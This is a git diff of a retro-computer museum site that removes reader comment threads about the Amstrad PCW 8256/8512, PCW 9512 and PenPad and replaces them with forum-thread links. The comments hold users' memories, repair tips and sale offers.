direct use. Apple, Amstrad, Schneider, Commodore, Epson, Sharp,.. - - From all my computers, even today the PCW is my favorite. - - author: Andy (England) - date: Tuesday 10th April 2012 - text: Some interesting comments on the old 8256, most of them fond memories... I used to go to typing classes at our school back in the day, our school had hundreds of these things. We also had one new from Dixons - £499 all in I believe, our Grandad bought it for us thinking it was a PC - must have been totally swindled by the sales guy! Ooops! Me and my brother wanted a PC so much! The 3" disks were impossible to buy new, and to top it all off it just could not do what a PC could, even a PC that was 10 years older than it. It didn''t even have standard I/O ports. I remember having Microdesign 2 and painfully trying to use it to do something simple and it being impossible to implement. That was all the software we had, but one of my friends let me borrow Thomahawk which was slow, rubbish, and kept locking up. CP/M was a bit of an oddity too - most people were using DOS, or even early versions of Windows by the time this hit the market! Taking a step back for a moment, it was a wordprocessor - first and foremost - the printer quality was good, but I''d rather chop my hands off than type on that poor quality keyboard for any length of time - it was horrible! Locoscript was impossible to use, not intuitive in the least bit. All-in-all I must agree with Dave, it was indeed a glorified Typewriter! - - author: Robert Fleeman (UK) - date: Thursday 23rd February 2012 - text: I am mourning my Amstrad \*512 and cannot write my memoirs. Julia, or anyone, have you still got one in working order for sale? - - author: julia (united Kingdom) - date: Tuesday 12th July 2011 - text: i have an amstrad pcw8512 for sale complete with printer and instruction manual if anyone knows anyone who would like it, all in good working order of course - - author: manu (belgium) - date: Saturday 18th June 2011 - text: |- - Hi, a few weeks ago i, found on eBay a fully working Amstrad PCW 8256(repaired the drive belt), and another one i got free of a friend, Schneider PCW 8512, both working perfectly, and now i can run again my 23 year old software i made on my original Schneider PCW 8256, :)\ - Question to Andrew, can you give me the PCW 8512 dongle information, i want to find one.. to all software, drive belt''s.. i am intrested: contact me on: kolva@pandora.be - and feel free ask questions about the PCW $-) thanks - - author: ck123 - date: Tuesday 15th March 2011 - text: |- - Emulator portable\ - http://www.transdata.net84.net/pcw_8256.html - - author: Andrew (UK) - date: Tuesday 30th November 2010 - text: |- - I regularly help a lady who swears by the Amstrad and Locoscript pro and who interact with others in her business/charity via email and the internet.\ - As a result I myself do a lot of swearing, inwardly to myself of course..\ - These computers are interesting as a stroll down memory lane ,but please please dear lady get a modern computer with word and office so I don'' t have to struggle with incompatible printers and converting documents to preper ones that everyone else can actually access and read.!! Please don''t promote these old machines and programs as being "better" than modern ones they aren''t!!! If that is all you had of course they were wonderful, in their day.....!! - - author: Jamie - date: Wednesday 24th November 2010 - text: Where can you get drive bands for these beasts? - - author: Zoltan G-Wagner (Sweden) - date: Tuesday 5th October 2010 - text: |- - I got two computer systems\ - Amstrad PCW 8512 System – with disks $-))\ - both in good condition.\ - I want to sell them.\ - zolle at lund.riksnet.se - - author: Blakkar (UK) - date: Friday 24th September 2010 - text: Re Herwig (Belgium)''s comments. I have a dongle that enables me to connect my PCW512 to my PC, and also a PC version of Locoscript that enables me to open the files on the PC. The texts can then be converted and imported into MS Word, so there should be no need for Herwig to retype all his old documents. - - author: Herwig (Belgium) - date: Wednesday 22nd September 2010 - text: |- - I still have several PCW256, upgraded tp 512 internally.\ - Several... it''s not a joke. 2 in running condition, 2 for parts. Allthough I don''t use them anymore, except a few times in a year I need to access some old files. I did chance rubber belts several times, and I have a bag full of these driving belts. I also cleaned all belt drive parts from grease/dust at that occasion. It had been routine $)\ - I used them intensively, often with no switch off for weeks continuously. The total amount of hours these machines have been running are just uncountable.\ - I had many professional programs written in Mallard Basic, the most used was a building heat loss calulation program, based on the Britisch Standard on heat loss $ insulation of buildings.\ - I did all my (technical) textprocessing, on PCW (from 1985 onwards to 2006...) , painfully experiencing afterwards how excessive much hours of typing and editing have been accumulated $ stored on these 3" disks... I still use PDF versions of Locoscript files, that don''t need editing for reuse.\ - In a way, a few defects that damaged discs lead to loss of some part of my old data.\ - I am not considering the PCW''s a museum pieces yet. Probably, I''ll need them at least 5-6 years more, until I''ve got time to retype most of my old library... $) - - author: CPASTU (USA) - date: Sunday 12th September 2010 - text: Just bought a \*broken\* PCW off ebay a couple weeks ago. My Mom used to use it in the late 80''s-early 90''s when my Dad was stationed in the UK. Their computer broke long ago and they disposed of it. I thought it would be cool to try to access her old data (she wrote children''s stories). Sure enough all I had to do was replace the old band drive band with a regular old rubber band and it accesses all her old files perfectly. I''m really shocked in how great a shape the data is still in after all these years. - - author: Robert Milne (UK) - date: Thursday 9th September 2010 - text: Some time in the mid-80''s I wrote a Mallard Basic programme for the Amstrad PCW range$ it was called "FELIX", the Filename and Extension Lister and IndeXer. It read the names and locations of every file on all your floppies, storing the results in Drve M, a virtual disc drive prior to transferring the catalogue to a floppy. Then, when you couldn''t remember where a file was, you simply asked FELIX. The software was favourably reviewed in both dedicated magazines at the time, but sales were abysmal to non-existent.... I doubt if anyone remembers it. - - author: Sandy (Hometown, USA) - date: Tuesday 31st August 2010 - text: I have the 2 original diskettes and the manuals from the 8526/8512 in excellent condition. The diskettes were never used except to make copies of them and they were carefully stored in a clean dry place. Make me an offer through my website link above if interested. Thanks! - - author: Sandy (Hometown, USA) - date: Tuesday 31st August 2010 - text: |- - I owned 2 of the Amstrad PCW 8256 machines. The first was purchased in 1986 for $500 USD at sears. The second for $400 sometime after when they began closing them out. I ran my business using Locoscript and even designed custom templates to look more professional. The issue with these machines mainly was that the belt that operated the disc drive would stretch over time and the drive would not be able to read the discs without errors. when the belt went on the older one, I began using the newer one. I ordered 2 replacement belts because my understanding was that they deteriorated with time as well as usage and that it would not be long before it happened to the newer machine. Replacing the belt was the first computer repair I ever performed. I recall that it was tricky because if you turned something the wrong way or held it upside down, a pin would fall out and the machine would become a doorstop. I worked from hand-written directions supplied with the belts that turned out to be pretty good (thanks to a USA guru named Harvey?). - - Eventually I handed down both machines (one at a time) to my Dad. The newer machine''s belt finally gave out a second time earlier this year (2010). I told my dad that it is not worth fixing anymore and that he would have to move to a modern PC. He is not happy! Once he commits to make the move, I''ll look into getting his discs converted, but I told him that it may no longer be possible. - - author: Webmaster (France) - date: Monday 14th June 2010 - text: |- - @Stuart - - 3.5'''' disks were the usual ones.\ - Amstrad systems used the weird 3'''' size disks. - - author: Stuart - date: Monday 14th June 2010 - text: |- - I use to use an 8256 and, IIRC, it was an unusual three-and-a-half inch floppy disk. - - But I stand to be corrected. - - author: Erik (Australia) - date: Saturday 24th April 2010 - text: |- - My grandparents owned, and still do, an Amstrad PCW 8256. They bought the system for my mum''s brother who was at university at the time so he could write his assignments etc. The floppy disks were strange. They were sort of like the 3.5" diskettes going out of fashion today, but they were half an inch shorter and the opening for the magnetic coated plastic inside looked like a 5.25" disk opening. The only differences that I could recall was that the PCW 8256 had 1 disk drive (it was single sided: you had to boot LocoScript, eject the disk, flip it, re$ it, and then press F1)and 256 KB of RAM, whereas the PCW 8512 had 512KB RAM and 2 disk drives. Don''t know if the PCW 8512 had double sided disk drives or not. The printer was a dot matrix system, which was pretty cool (for the 80s), and you could set it to tractor feed or friction feed (which is what a lot of electric typewriters used). It had no games, but if you were skilled enough you could make a Dots and Dashes game with a LocoScript file and then print out the result.\ - You could use the Amstrad PCW as a CP/M system, which I thought was neat, but I never tried it myself. - - author: Alex Taylor - date: Friday 3rd July 2009 - text: 'Dave (UK): so you''''ve got a typewriter that will do spreadsheets, DTP and relational databases?' - - author: Roger (UK) - date: Wednesday 11th March 2009 - text: |- - After 20 years use the drive belt disintergrated. I replaced it only to disrupt the wright-protect mech. - - Does anybody want my 8256 for free with discs, books and manuals? Though I would like some help deleting the files from the discs. - - rogier@cat3home.wanadoo.co.uk - - author: Silas Denyer - date: Wednesday 27th August 2008 - text: |- - My Mother wrote several books on her basic, unexpanded PCW8256. The biggest drawback was that you could only save a document to disk which was AT MOST half the disk size, as the new version was saved first before deleting the old version. - - Thus it was very easy to write a long document only to be told it was too big to save! - - On the plus side, the PCW also shipped with dBase to run over CP/M, so you could run a "real" business on it. - - author: Dave (UK) - date: Tuesday 12th August 2008 - text: Glorified typewriter. Period. - - author: Madcrow (USA) - date: Sunday 12th August 2007 - text: |- - I got a used PCW from someone and while it boots, I can't seem to actually use LocoSript. I can't figure out how to select a menu item! (The logical choice of Return doesn't do squat) - - Any help here? - - author: Welsh Dog (Sydney) - date: Thursday 7th June 2007 - text: |- - The Amstrad pcw8256 was for it's time \*the\* best machine on the market and a total knock-out for value. - - I bought one as soon as they were available and I honestly believe that without I would never have passed my first degree! - - The machine was a little underpowered as a computer maybe, but as a Wordprocessor it was far and away the best out there. Locoscript was way ahead both of its time and the rest of the market. - - When you bag it remember that at that time it cost £4k for an IBM (I still have a catalogue!) and £450 for the PCW... competition?? I think not. - - author: Alex Taylor (UK) - date: Friday 29th December 2006 - text: |- - Andrew J's negative comments here are wrong for so many reasons. Why berate a computer that simply doesn't meet your needs? Most of the arguments presented seem to be comparing apples to oranges. - - The £100 XT computer might have been much cheaper than the PCW. However the XT would have cost £3000 or so when new. Comparing new and second-hand computer prices is meaningless. - - If the supplied BASIC didn't do the job, get another programming language! The PCW's just another CP/M computer, so there's Turbo Pascal, Hisoft C, and a whole load of other BASICs out there. - - "Worst piece of electronics hardware"? In what way? I have loads of them, and other that the cheap 3" drives, they still work fine. To me that would seem to indicate a reasonably good piece of hardware (except the drives, of course). - - Spell checkers were available, including LocoSpell for LocoScript itself, and the spell checkers from other word processors such as Protext. You may have had to pay extra for LocoSpell, but don't forget that with most computers of the time, you would have had to have paid loads of extra money just for the word processor itself - which may not have included a spell checker. - - The ZX Spectrum 48K had colour and sound, but stored programs and data on audio tapes, only had a 32-column screen, had no in-built connection for a printer, and a poor keyboard. I like the Spectrum for many reasons, it was my first computer, but it's not a word processor or business computer. - - Trying to compare new and second-hand computers by price is strange and futile. Trying to compare computers that aim at different market sectors is also odd, because they'll have a completely different mix of features and price points. - - One of the PCW's minus points is of course the 3" disks. However it's worth bearing in mind that 3.5" drives can be fitted to older PCWs, and Amstrad themselves switched formats by the eary 90s. - - The PCW was very good at what it did, and offered a lot for the price. In the mid-80s, it eliminated the typical hassle of buying a computer, software and a printer and then trying to get them to work properly together. It did it at a low price by using the out-going and unfashionable but well-proven 8-bit CP/M technology, in a market sector that didn't care about that kind of thing, only wanting something to do its job with a minimum of fuss. - - author: Andrew J (UK) - date: Sunday 26th February 2006 - text: This 'computer' if it so can be called, has got to be one of the worst pieces of electronics hardware ever made. So it was meant to be a dedicated word processor, it didn't even have a spell check or thesaurus facility. It used those silly 3" disks that were difficult to find, nothing else used them, and they couldn't store much information at all. What else could you do with it, nothing. Mallard BASIC was pants, no functionality at all. What could you do if you had no disks? Nothing! No built in program/BASIC in the ROM here, oh no!! Most other computers of the day allowed you to do something productive as soon as the machine was turned on. The point is, I dumped my crappy PCW 8256 as fast as I could, and bought a 2nd hand IBM PC XT for £100, about £400 cheaper than that PCW. With my IBM I could word process in style with Display Write 4, including spell checking! Also, I could program and compile my own utilities and programs. I could find other software titles for my IBM, and - I still use it today from time to time. It had a hard drive and a decent sized capacity floppy drive. DTP on the PCW? Micro design 2 was primitive and difficult to use. I spent hours trying to do something productive and trying to learn something on this heap of junk. Needless to say, I learnt a lot more on my IBM XT than I ever could have from that PCW. Also, CP/M was crumby, although popular at the time of 8bit micro's 16bits was the way forward, IBM was using an 80286 at the time Amstrad was stuck with a Z80!! I remember picking up a ZX Spectrum 48k for £5 a couple years after I owned the PCW, and thinking that it was infinitely better - instantly on and useable, program away, store on something that is readily available and cheap, colour and graphics!! ZX was miles better! Anyway, the PCW, shouldn't be called a 'computer' at all, at best it was a crumby word processor, nay, a text processor! I shudder every time I think about it. Can't wait to dump it on Alan Sugars lawn and drive - off! What was he thinking? Where is he now and what is IBM doing? Point proven. - - author: Neil MacGregor (Huntly Aberdeenshire Scotland) - date: Wednesday 15th February 2006 - text: I have 1No. Amstrad 8512 still working and three pcw printers plus locoscript books and 30 3inch disks available cost of postage delivery only. - - author: Maida (Barcelona) - date: Sunday 12th February 2006 - text: |- - I own an Amstrad PCW 8256 which is still working, what I would need is ink for the printer or if someone is interested in having it I would welcome offers.!!!\ - Kind regards to all the collectors\ - Maida - - author: Jaume de la Vega Cercos (spain) - date: Sunday 24th April 2005 - text: |- - My father got one 8256 from 1987 to 2002, and all those years worked ok, only the drive belt problem in the year 1995 replaced by one almost identical (a bit short) from an old stereo, considering the fragile substitute the machine worked fine until 2002 when an accident moving the table broked the screen... - - I still remember making some nice homeworks with the locoscript (made the schoolwork with a computer in 1993 was astonishing). I also learned to play chess with a game in the amstrad (also cached the taste for programming with mallard basic)... - - Also remember because the printer tape shortage (old times but older computer) Forces us for a time to use charcoal paper instead of ink... - - author: Teresa Griffith (Charlton, South East London) - date: Saturday 9th April 2005 - text: |- - Hi guys - - I've enjoyed reading these messages. My son learnt to program on an 8256 and it was directly responsible for me obtaining two secretarial jobs back in the 80s. Because it was an unusual machine if an office used it you were streets ahead of the IBM girlies whom incidently I envied madly. Anyway here I am now in the world of Windows and IBM so if anyone wants my old 8256 please do let me know. - - Many thanks - - Teri - - author: Perry Spiller (New Zealand) - date: Wednesday 2nd March 2005 - text: I had an 8256, then 8512. I added a "daughter" board called something like Cirtech. The details of which are sketchy in my memory. But it expanded the RAM exponentially (for that era) and I recall it boosted the Hz to 8. I also bought a 1200/75 modem. I had to reverse the dialing sequences, because UK 999 = NZ 111. I even ran an HP Laserjet printer from ye olde PCW. I still have everything, in boxes - somewhere! I've yet to see a modern pop-up database to beat Locofile. And I'm still looking. - - author: Keith (UK) - date: Monday 21st February 2005 - text: The Amstrad PCW8256/8512 also had an external extra RAM, the Locomotive Power Pack (LPP512). Which is what I'm looking for at the moment as I've just jiggered mine, leaving many of my documents inaccessible. - - author: Andy (NW England) - date: Thursday 3rd February 2005 - text: |- - I remember buying one of these for use at home when I first started college. Our college had a room full of them, for us to type up our work on. We all used Locoscript 1 and some of us even had Locomail as well! We also used a basic DTP program, but i can't remember what it was called. I also remember purchasing an external 3 1/5" disc drive because the discs were cheaper, and the most amazing graphics program of the time 'MicroDesign 2' (these cost me about £150 together). I also remember buying over the years, a centronics interface so that I could use a 'real' dot matrix or bubblejet printer, Locosript 2, with 'mail, 'spell and 'file - and some time after that, Locoscript 3 !!! (now that could handle colour printing !)\ - We must have used it for about 8-9 years before it finally died on us altogether, and we had to buy something else. I only threw it away about 5 years ago when I moved house (I must have been sentimental about the old thing). - - author: Mike King (spain) - date: Tuesday 21st September 2004 - text: |- - Hi\ - Amazing what you can come across browsing around. I used PCW8512's for years.\ - I remember when Amstrad launched the PCW8256 as a "PC for less than the price of an electric typwriter" - £199.\ - The Amstrad Ad showed a PCW on a desk with a bin full of busted up computer parts beside it with the caption "it's all over now, baby blue!"\ - As a word processor it was as good as any around at the time but we had to switch off and run the cpm operating system to do anything else.\ - Around '87 or '88 we may have well had the first European email system.\ - Telecom Gold had a secure mailbox system based in London and via a 300 baud modem and the telephone line we comunicated, between the UK and Spain, at the speed of around 1 char/second.\ - In the end we decided that it would never catch on and bought at fax machine instead. - - Mike - - author: Tim Casswell (Llandovery) - date: Saturday 31st July 2004 - text: My father is suffering the early stages of Alzheimers and his Amstrad 8256 is also showing similar symptoms. It doesn't seem to boot up and I have no experience of it. Can anyone give any ideas for how we might get it to work. Or how we might be able to transfer his addrss list onto PC or MAc compatible formats. Or just printing out the data? Thanks repies to tim@creativeconnection.co.uk please. - - author: Ketlan Ossowski ( ) - date: Saturday 12th June 2004 - text: |- - I had a succession of 8512's over about ten years and the extras that became available made it into an extremely useful machine - in particular, a wonderful DTP programme that along with a hand scanner from the same company (I think, Creative Technology) gave a major boost to productivity.\ - People used to tell me how crap it was compared to the average PC (probably 2086 at that time) but still asked me to produce their leaflets and posters for them.\ - This and the addition of a half-decent bubblejet made the 8512 a great little machine - and a lot more reliable than most of those on the market today. - - author: Keith Patterson (U.K.) - date: Friday 9th April 2004 - text: I still have this computer for sentimental purposes. I bought it in 1986 at Sears while I was in college. Believe it or not, I feel that it was way ahead of its time. I had some games for it too like Adventure (maze of twisty passages all different). The only reason I stopped using it (@1992) was because I could no longer find the printer ribbons for it. - - author: Corinne (Delaware (USA)) - date: Wednesday 3rd September 2003 - text: I am in possesion of two Amstrad PCW8256 computers. My father purchased one from Sears years ago to write a book of his life story. He then purchased a used one to utilize for a needed printer part. Unfortunately the book was never completed as Alzheimer's has taken his ability to operate a computer as well as recall his life memories. I am not very familiar with this computers capabilities but in reading some postings it seems that users truely enjoyed it. I believe one of the systems I have is in working order and wonder if anyone close to my location would be in need of it. - - author: Paul (London) - date: Thursday 24th July 2003 - text: |- - Hello, I am new to this forum, so please forgive me. - - I used to own a PCW8512 a few years back, but the thing broke down and got chucked away. After a rose-tinted spectacle moment i bought a PCW8256 off Ebay, so I could use some of my old software and files.\ - The most dissapointing thing is that my version of Batman, by Ocean, does not seem to work. It worked the first time i put it on, but now it jut fails. i turn the pcw on, put the disk in, and all I get is a flashing screen and a sort of grinding sound which repeats a few times before stopping and emitting a beep.\ - I was wondering if you knew what the problem was, and whether you know where I might be able to get a replacement, or copy of a disk. - - Sorry to have bothered you with such a long query. - - Yours - - Paul - - author: Marek Twardowski (Gdynia, Poland) - date: Friday 21st February 2003 - text: |- - Hello, - - Congratulations on very interesting site! - - Back in December 1987 I have purchased the Amstrad PCW8256 for USD 400. .\ - The machine was incredible! I used it until late 1996, when I changed into Pentium 133 IMB clone, with much regret. However, the LocoScript was so slow, that when it wound a text 30 pages long you could indeed make yourself a coffe, drink it, clean the dishes, etc. On the other hand it had several functions which I miss until today - like the KEEP function.\ - Later on I had some trouble with the floppy (the rubber drive band went slack), so I had to purchase a similar band for a tape recorder, cut it in necessary length and fasten the ends with some Superglue. However it was just a stopgap measure and had to be repeated every two months, so finally I settled for a 1.2 MB 5.25" floppy drive, downgraded to 720 kB, fitted externally, in support of the 3" drive. All my archives were stored on 5.25" floppies.\ - My friend purchased his PCW8256 half a year earlier, for GBP 400 (quite a difference, isn't it!). He had similar problems, but he was better off so went straight to 3,5" floppy.\ - At that time the cost of ribbon for the dot matrix printer was prohibitive (here in Poland of course - comparable to our monthly wage !!). Therefore I used to remove the ribbon casette, take a carbon copy paper, put it over the paper and print. The needles hit the carbon paper and the result was excellent.\ - Later I got the DBase2 and could use my PCW for other applications as well.\ - Transferring data between PCW and IBM Pcs was another story. It became important for me in early 1990. I have found a program to do it, however it could be done only via a 5,25" disc. On my PCW I could prepare text files in DOS (for IBM XT computer), but I could not import them. Therefore I had to go to my other friend (living in another city!) and he could transfer those files to CPM files on his Amstrad CPC256 computer.\ - Those were the days! - - Best regards,\ - Marek Twardowski\ - Gdynia, Poland - - author: Doug Eyre (USA (Hewitt, TX)) - date: Wednesday 3rd April 2002 - text: |- - I was in the USAF at RAF Mildenhall in the United Kingdom when the\ - Amstrad came out and they sold them in our base exchange. The nearby\ - town of Thetford had a computer store that sold me a kit to upgrade to\ - an 8512. - - I loved the machine and when I was ready to leave the USAF for\ - retirement, a short notice job opportunity arose, - - I had three hours to write a resume and a cover letter. I wrote and\ - printed that one resume and cover letter on the PCW. As a result of the\ - letter and resume, I have been employed in my present firm since October\ - of 1988. If that machine had never done another thing for me, it helped\ - me get my job! - - I had the opportunity to visit the US on temporary duty and went to a\ - Sears store in Richardson, TX. While in the store I saw a PCW for sale.\ - I asked the salesman if he had any additional software for the machine.\ - He looked at me like I was from outer space and made it very clear that\ - the machine was strictly a word processor. He walked off with his nose\ - stuck in the air. - - I immediately yanked out the word processing disc, flipped it over to\ - the side that had the Mallard Basic on it and quite quickly wrote a four\ - line basic program that printed and scrolled across the screen, "I AM A\ - COMPUTER, NOT JUST A WORD PROCESSOR!" and started it running. I called\ - the salesman back and pointed at the machine and made the comment, "It\ - knows more about what it can do than you do!" and I walked off. I don't\ - know if the salesman ever was able to figure out how to turn the machine\ - back into a word processor again! - - There were countless programs available for the machine. Obviously any\ - graphics were strictly limited to black and green but for general use in\ - that day, the machine was exceptionally advanced and reasonably priced.\ - I used the machine extensively for church management while I was in\ - England in a mission work for the Church of God out of Cleveland, TN. I\ - used spreadsheets for my checkbook management and the machine even ran\ - dBase II. It played King's Quest as well. - - As another aside, the printer used a ribbon that could be bought from\ - Radio Shack for one of their printers. The printer did a very good job\ - considering that it was a dot matrix. - - I sold the machine to a contractor who just wanted a simple word\ - processor in 1995. It was a good machine and worth every penny of the\ - original $399 that I paid for it. - - author: John Palmer (Dorset, England) - date: Tuesday 12th February 2002 - text: I used my "Joyce" in 1985 to write a program in Mallard Basic simulating a "runaway" condition (like Chernobyl) in the reactors of Britain's nuclear submarines. And it worked too (but for completion of program I sometimes had to leave Joyce running for 48 hours!) This historic Joyce is now for sale or giveaway to someone who will love and respect her. related: - /museum/amstrad-pcw-9512 oc_id: 189 diff --git a/content/museum/amstrad-pcw-9512.md b/content/museum/amstrad-pcw-9512.md index ddedfcd9..01d63d0b 100644 --- a/content/museum/amstrad-pcw-9512.md +++ b/content/museum/amstrad-pcw-9512.md @@ -67,6 +67,7 @@ params: - emulators - links - docs + forum_thread: 200 photos: - title: PCW-9512 subtitle: '' @@ -179,115 +180,6 @@ params:  compiled/archived by Charles Da Silva\  type of document : PDF\  source : [Amstrad.CPC](http://amstrad.cpc.free.fr/) - comments: - - author: Sam - date: Thursday 14th November 2013 - text: |- - Becky, pretty sure 499 was the retail price back then! As this site mentions, they sold 700,000 of these! Since demand for them isn''t quite what it was, a bit of basic economics tells me you might get 10 or 20 quid for it, if someone really wants one. - - Collectors of old computers are nearly all private individuals reliving their past, and appreciating the specialness that''s hard to explain. We''re usually not rich, and we''re certainly not insane! - - Perhaps someone online will be grateful to get it off you cheap, postage will be a bugger though. - - author: Becky Platt (Weybridge UK) - date: Sunday 29th September 2013 - text: |- - I am hoping to get some advice. After having a clear out I have come across a working (I think!) Amstrad pcw 9512 and wanted to know the best place to sell this? - - Can anyone recommend somewhere that would buy vintage computers and also what sort of price I could expect as I saw £499 on this site but wasn''t sure! - - Any help would be great as would like to sell ASAP! - - author: Keylogger software (USA) - date: Tuesday 6th November 2012 - text: Keylogger for Mac application is used to trace and record keyboard actions, chat sessions using Gmail, facebook accounts. - - author: Stephen Page (Scotland) - date: Thursday 28th June 2012 - text: I am reliably informed that if your having difficulties getting ribbons for your PCW 9512 try looking for ribbons for an Olympia Carrera II, they are the same. - - author: Fred Sheehan (United Kingdom) - date: Monday 27th February 2012 - text: |- - @Adam Campbell and any other user of this type of PC - - You can transfer all of your old word processor documents to a newer computer running Microsoft Office or any compatible, like the free Open Office suite.\ - This would allow you to compile a document containing all of your chapters. - - All word processors, including your old Amstrad support saving files as Rich Text Format (.rtf) and this will preserve the document with it''s main formatting like paragraphs, tabs and new lines, and can be imported into a newer word processing document with ease. (important, you have to look for the ''import as'' menu it is not ''automatic'' to import it in some programs) - - I used to have the earlier Amstrad PCW 8512 with the green monochrome screen and had to do this for all my college assignments as the local college only accepted word documents double spaced. - - Hope this helps!\ - Fred - - author: Chris Ze Miller (Shropshire,UK) - date: Tuesday 31st January 2012 - text: In the mid 1980s the only dedicated wordprocessor on the market and displayed at The Which Computer Show cost £8000.I cant remember the makers name.My need was for a machine to produce a mail order catalogue that had fractions on its keyboard because I was dealing in old fishing tackle and fishing reels were in sizes 31/4 inch$3 1/2 inch$3 3/4 inch$3 1/8 inch etc I went round every computer sales team at every show and no one did fractions on their keyboard or could grasp how to get around it and I came to the conclusion all the computer companies were employing car sales reps who looked pretty but knew f all about their products! The £8000 word processor had these fractions but as I had just bought my shop freehold for £18,000 I wasnt about to spend half as much again on a machine! In January 1988 I bought my Amstrad 9512 which had fractions on its keys!It cost £582.22 including VAT which I got back.Within a week I was posting a mail order catalogue worldwide at 15 characters - per inch on A3 sheets using the daisywheel printer and a Nashua Photocopier.It was fantastic and I did not have to go to evening classes to learn how to use the machine nor read copious amounts of text in the instruction book.But from that day to this I have still not transferred all my printed material to a modern Windows environment.Sadly the 9512 has a little battery in it which died some years ago and now my Amstrad does not work as a result.I dont know how I would transfer my CPM86 discs to Microsoft Word but in answer to Adam.Recently I bought an A3 colour copier,scanner,printer and my ambition is to scan all my old mail order catalogues (which were A3) into my new Windows 7 computer and pray the character recognition software (ocr) recognises my Amstrad daisywheel 15 characters per inch print! - - author: adam campbell (London, England) - date: Friday 14th October 2011 - text: |- - Dear any 9512 user, - - I have written a novel with 14 chapters. All are on SEPERATE FILES. I have been asked to submit the novel on ONE FILE only. I have tried and tried to attach the chapters and have got as far as attaching 11 together - then half way through trying to attach chapter 12 to 11 I am told my disc is full. However I have loads of room left on the disc! What am I doing wrong? I just need all 14 files on ONE FILE. The publisher wants it emailed that way. I already have a company that can transfer an amstrad disc to a modern computer disc. - - Any ideas? - - With many, many thanks, - - Adam Campbell - - author: adam campbell (London, England) - date: Friday 14th October 2011 - text: |- - Dear any 9512 user, - - I have written a novel with 14 chapters. All are on SEPERATE FILES. I have been asked to submit the novel on ONE FILE only. I have tried and tried to attach the chapters and have got as far as attaching 11 together - then half way through trying to attach chapter 12 to 11 I am told my disc is full. However I have loads of room left on the disc! What am I doing wrong? I just need all 14 files on ONE FILE. The publisher wants it emailed that way. I already have a company that can transfer an amstrad disc to a modern computer disc. - - Any ideas? - - With many, many thanks, - - Adam Campbell - - author: adam campbell (London, England) - date: Friday 14th October 2011 - text: |- - Dear any 9512 user, - - I have written a novel with 14 chapters. All are on SEPERATE FILES. I have been asked to submit the novel on ONE FILE only. I have tried and tried to attach the chapters and have got as far as attaching 11 together - then half way through trying to attach chapter 12 to 11 I am told my disc is full. However I have loads of room left on the disc! What am I doing wrong? I just need all 14 files on ONE FILE. The publisher wants it emailed that way. I already have a company that can transfer an amstrad disc to a modern computer disc. - - Any ideas? - - With many, many thanks, - - Adam Campbell - - author: Noobsaibot73 (Spain (Madrid)) - date: Thursday 30th June 2011 - text: |- - Amdrew, check the drive belt, in old 3" and 3 1/2 drives is a very common problem, with the passing of time this rubber is degradated and, as a result of this, the drive is not able to read disks. - - Check this and replace the drive belt if it''s damaged (if your PCW has installed a 3" drive you can use a drive belt for the CPC6128 which is available on many ebay shops at a very low cost). - - Keep in mind that Amstrad 3" units have a pin in order to check if the disk is write protected or if it''s not, take care of this and try to maintain this pin in it''s position or your drive won''t be able to check if the disk is protected or not. - - Hope this will be of any help for you. Kind regards. - - author: Amdrew - date: Tuesday 21st June 2011 - text: |- - PLEASE HELP! I have recently aquired an Amstrad PCW 9512. However when I $ the boot disk the flloppy drive lights up, but it does not boot. Any suggestions will be appreciated at:\ - nigelferguson6@gmail.com - - author: Jeff (USA) - date: Monday 10th May 2010 - text: |- - For folks looking for help with the Amstrad PCW\ - spare parts/tips/etc\ - http://www.luxsoft.demon.co.uk/lux/sitemap.html - - author: Gavin White (Ireland) - date: Saturday 20th November 2004 - text: |- - I NEED HELP! I have information which I need printed or even better converted form my 3" 9512 disc onto more accessable format. I have four discs holding my university dissertation and other undergraduate essays. I lost the only hard copy of my disseration while moving house and would really love to access it again. CAN YOU HELP!!!!! - - Gavin - - author: zelez (Czech republic) - date: Friday 2nd May 2003 - text: |- - Hi, I'm looking for boot diskettes for PCW 9512. Thanx in advance 4 help\ - Pavel related: - /museum/amstrad-pcw-8256-8512 oc_id: 190 diff --git a/content/museum/amstrad-penpad.md b/content/museum/amstrad-penpad.md index c82c69d6..64529bc4 100644 --- a/content/museum/amstrad-penpad.md +++ b/content/museum/amstrad-penpad.md @@ -65,6 +65,7 @@ params: tabs: - photos - docs + forum_thread: 857 photos: - title: CLOSED subtitle: '' @@ -99,55 +100,6 @@ params:  compiled/archived by Charles Da Silva\  type of document : PDF\  source : [Amstrad.CPC](http://amstrad.cpc.free.fr/) - comments: - - author: Nick (UK) - date: Friday 23rd April 2021 - text: I wrote the spreadsheet for this piece of junk, so I spent a lot of time using it. It was innovative at the time, but the handwriting recognition was really poor which let it down. My spreadsheet was good though $-) - - author: Roger the Dodger (UK) - date: Monday 29th April 2013 - text: |- - Hi. my (ex) wife bought me one of these when they were reduced to £50. It was great in theory but the processor wasn''t fast enough to keep up with handwriting, and the handwriting reader never managed my handwriting. The main problem was unit was driven by three AA cells if I remember right, and the memory wasn''t backed up with a lithium cell so I had a battery failure and lost all the data. As I was using the thing as my diary and contacts list, I lost all my work (needless to say I didn''t have a backup, so it was as much my fault).\ - Losing all my diary entries caused so many problems and so much work to put right I have never since used an electronic diary - only a paper one.\ - After the loss of all my data I never trusted the unit to work and I can''t remember what became of it after that (I probably sold it or smashed it up) - - author: Tom Geller (USA) - date: Wednesday 30th June 2010 - text: |- - Hi, Diego. I doubt you''ll get this (or care if you do), but I just unpacked an old PDA600 that had been in storage and found that it, too, had that melting problem $ it was like it was covered in honey. Disgusting! I was able to clean it off with rubbing alcohol, a rag, and lots of elbow grease. - - I suspect the sticky stuff was the rubberized coating it used to have. Once it''s removed, it''s covered with a sort of plain, slick plastic. Good luck! - - author: Silas Denyer - date: Wednesday 27th August 2008 - text: |- - Like many, I bought one of these from Tandy. It was a great idea in theory, but too flawed in practice. The main problem was that it was just too bulky to carry around! - - I gave mine to a friend who used it in an industrial setting. There it was great - he hooked it up via serial link for interrogating water treatment plant controllers on-site. - - If Amstrad had produced a rugged version with some decent comms software and an SDK (and $ped the bundled software, to be honest) they could have shifted thousands of them! - - author: Newbieold (UK) - date: Tuesday 17th October 2006 - text: Hi Diego, ive just aquired a PDA600 and it has the same sticky problem as you, I read elsewhere to rub the unit with alcohol (for an hour or so) and it wont remove the logos - not tried it myself yet but will have to, its so damn sticky! - - author: Diego (NJ, USA) - date: Monday 18th September 2006 - text: |- - My Penpad seems to be melting....\ - I guess that at some point it was cleaned with some product that should not have been used, and now it's sticky, just as if the plastic material was melting very slowly.\ - Anyone has any sugestions about how to solve this problem? - - author: S-Denmark (Dreamland) - date: Thursday 14th September 2006 - text: |- - From the page: "However, Amstrad's approach with the PDA600 was very much more 